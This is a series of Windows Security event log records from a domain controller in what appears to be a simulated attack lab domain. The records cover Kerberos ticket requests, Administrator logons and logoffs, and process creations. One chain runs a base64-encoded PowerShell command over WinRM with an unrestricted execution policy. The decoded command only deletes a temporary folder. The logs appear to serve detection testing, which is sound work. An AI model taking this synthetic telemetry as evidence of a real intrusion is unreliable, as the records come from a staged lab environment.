This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252409
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{629A0E11-CFA6-A593-1EB1-6AC951E2FA82}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252408
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252407
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x154C03

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1268
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd54
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBCAFMAQQBHAFUAQQBiAFEAQgB2AEEASABZAEEAWgBRAEEAdABBAEUAawBBAGQAQQBCAGwAQQBHADAAQQBJAEEAQQBpAEEARQBNAEEATwBnAEIAYwBBAEYAVQBBAGMAdwBCAGwAQQBIAEkAQQBjAHcAQgBjAEEARQBFAEEAWgBBAEIAdABBAEcAawBBAGIAZwBCAHAAQQBIAE0AQQBkAEEAQgB5AEEARwBFAEEAZABBAEIAdgBBAEgASQBBAFgAQQBCAEIAQQBIAEEAQQBjAEEAQgBFAEEARwBFAEEAZABBAEIAaABBAEYAdwBBAFQAQQBCAHYAQQBHAE0AQQBZAFEAQgBzAEEARgB3AEEAVgBBAEIAbABBAEcAMABBAGMAQQBCAGMAQQBHAEUAQQBiAGcAQgB6AEEARwBrAEEAWQBnAEIAcwBBAEcAVQBBAEwAUQBCADAAQQBHADAAQQBjAEEAQQB0AEEARABFAEEATgBnAEEAeABBAEQAUQBBAE4AZwBBAHcAQQBEAEkAQQBOAFEAQQA1AEEARABNAEEATABnAEEAegBBAEQAYwBBAE4AZwBBADQAQQBEAFUAQQBNAEEAQQA0AEEAQwAwAEEATQBnAEEAMgBBAEQAVQBBAE0AUQBBADQAQQBEAGsAQQBNAFEAQQB3AEEARABVAEEATgB3AEEANABBAEQAawBBAE8AQQBBAHcAQQBEAEUAQQBJAGcAQQBnAEEAQwAwAEEAUgBnAEIAdgBBAEgASQBBAFkAdwBCAGwAQQBDAEEAQQBMAFEAQgBTAEEARwBVAEEAWQB3AEIAMQBBAEgASQBBAGMAdwBCAGwAQQBEAHMAQQBDAGcAQgBKAEEARwBZAEEASQBBAEEAbwBBAEMAMABBAGIAZwBCAHYAQQBIAFEAQQBJAEEAQQBrAEEARAA4AEEASwBRAEEAZwBBAEgAcwBBAEkAQQBCAEoAQQBHAFkAQQBJAEEAQQBvAEEARQBjAEEAWgBRAEIAMABBAEMAMABBAFYAZwBCAGgAQQBIAEkAQQBhAFEAQgBoAEEARwBJAEEAYgBBAEIAbABBAEMAQQBBAFQAQQBCAEIAQQBGAE0AQQBWAEEAQgBGAEEARgBnAEEAUwBRAEIAVQBBAEUATQBBAFQAdwBCAEUAQQBFAFUAQQBJAEEAQQB0AEEARQBVAEEAYwBnAEIAeQBBAEcAOABBAGMAZwBCAEIAQQBHAE0AQQBkAEEAQgBwAEEARwA4AEEAYgBnAEEAZwBBAEYATQBBAGEAUQBCAHMAQQBHAFUAQQBiAGcAQgAwAEEARwB3AEEAZQBRAEIARABBAEcAOABBAGIAZwBCADAAQQBHAGsAQQBiAGcAQgAxAEEARwBVAEEASwBRAEEAZwBBAEgAcwBBAEkAQQBCAGwAQQBIAGcAQQBhAFEAQgAwAEEAQwBBAEEASgBBAEIATQBBAEUARQBBAFUAdwBCAFUAQQBFAFUAQQBXAEEAQgBKAEEARgBRAEEAUQB3AEIAUABBAEUAUQBBAFIAUQBBAGcAQQBIADAAQQBJAEEAQgBGAEEARwB3AEEAYwB3AEIAbABBAEMAQQBBAGUAdwBBAGcAQQBHAFUAQQBlAEEAQgBwAEEASABRAEEASQBBAEEAeABBAEMAQQBBAGYAUQBBAGcAQQBIADAAQQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252406
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x154C03

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd54
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x520
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBCAFMAQQBHAFUAQQBiAFEAQgB2AEEASABZAEEAWgBRAEEAdABBAEUAawBBAGQAQQBCAGwAQQBHADAAQQBJAEEAQQBpAEEARQBNAEEATwBnAEIAYwBBAEYAVQBBAGMAdwBCAGwAQQBIAEkAQQBjAHcAQgBjAEEARQBFAEEAWgBBAEIAdABBAEcAawBBAGIAZwBCAHAAQQBIAE0AQQBkAEEAQgB5AEEARwBFAEEAZABBAEIAdgBBAEgASQBBAFgAQQBCAEIAQQBIAEEAQQBjAEEAQgBFAEEARwBFAEEAZABBAEIAaABBAEYAdwBBAFQAQQBCAHYAQQBHAE0AQQBZAFEAQgBzAEEARgB3AEEAVgBBAEIAbABBAEcAMABBAGMAQQBCAGMAQQBHAEUAQQBiAGcAQgB6AEEARwBrAEEAWQBnAEIAcwBBAEcAVQBBAEwAUQBCADAAQQBHADAAQQBjAEEAQQB0AEEARABFAEEATgBnAEEAeABBAEQAUQBBAE4AZwBBAHcAQQBEAEkAQQBOAFEAQQA1AEEARABNAEEATABnAEEAegBBAEQAYwBBAE4AZwBBADQAQQBEAFUAQQBNAEEAQQA0AEEAQwAwAEEATQBnAEEAMgBBAEQAVQBBAE0AUQBBADQAQQBEAGsAQQBNAFEAQQB3AEEARABVAEEATgB3AEEANABBAEQAawBBAE8AQQBBAHcAQQBEAEUAQQBJAGcAQQBnAEEAQwAwAEEAUgBnAEIAdgBBAEgASQBBAFkAdwBCAGwAQQBDAEEAQQBMAFEAQgBTAEEARwBVAEEAWQB3AEIAMQBBAEgASQBBAGMAdwBCAGwAQQBEAHMAQQBDAGcAQgBKAEEARwBZAEEASQBBAEEAbwBBAEMAMABBAGIAZwBCAHYAQQBIAFEAQQBJAEEAQQBrAEEARAA4AEEASwBRAEEAZwBBAEgAcwBBAEkAQQBCAEoAQQBHAFkAQQBJAEEAQQBvAEEARQBjAEEAWgBRAEIAMABBAEMAMABBAFYAZwBCAGgAQQBIAEkAQQBhAFEAQgBoAEEARwBJAEEAYgBBAEIAbABBAEMAQQBBAFQAQQBCAEIAQQBGAE0AQQBWAEEAQgBGAEEARgBnAEEAUwBRAEIAVQBBAEUATQBBAFQAdwBCAEUAQQBFAFUAQQBJAEEAQQB0AEEARQBVAEEAYwBnAEIAeQBBAEcAOABBAGMAZwBCAEIAQQBHAE0AQQBkAEEAQgBwAEEARwA4AEEAYgBnAEEAZwBBAEYATQBBAGEAUQBCAHMAQQBHAFUAQQBiAGcAQgAwAEEARwB3AEEAZQBRAEIARABBAEcAOABBAGIAZwBCADAAQQBHAGsAQQBiAGcAQgAxAEEARwBVAEEASwBRAEEAZwBBAEgAcwBBAEkAQQBCAGwAQQBIAGcAQQBhAFEAQgAwAEEAQwBBAEEASgBBAEIATQBBAEUARQBBAFUAdwBCAFUAQQBFAFUAQQBXAEEAQgBKAEEARgBRAEEAUQB3AEIAUABBAEUAUQBBAFIAUQBBAGcAQQBIADAAQQBJAEEAQgBGAEEARwB3AEEAYwB3AEIAbABBAEMAQQBBAGUAdwBBAGcAQQBHAFUAQQBlAEEAQgBwAEEASABRAEEASQBBAEEAeABBAEMAQQBBAGYAUQBBAGcAQQBIADAAQQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252405
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x15BE41

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252404
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x15BE41
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{629A0E11-CFA6-A593-1EB1-6AC951E2FA82}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252403
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{629A0E11-CFA6-A593-1EB1-6AC951E2FA82}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252402
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{629A0E11-CFA6-A593-1EB1-6AC951E2FA82}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252401
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252400
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x15BE21

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252399
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x15BE21

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252398
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x15BE21
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{629A0E11-CFA6-A593-1EB1-6AC951E2FA82}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252397
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{629A0E11-CFA6-A593-1EB1-6AC951E2FA82}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252396
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{629A0E11-CFA6-A593-1EB1-6AC951E2FA82}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252395
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252394
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x15B756

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252393
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x108c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x13dc
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252392
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x15A33B

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252391
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x15BCB2

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252390
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x15BCB2
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64635

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
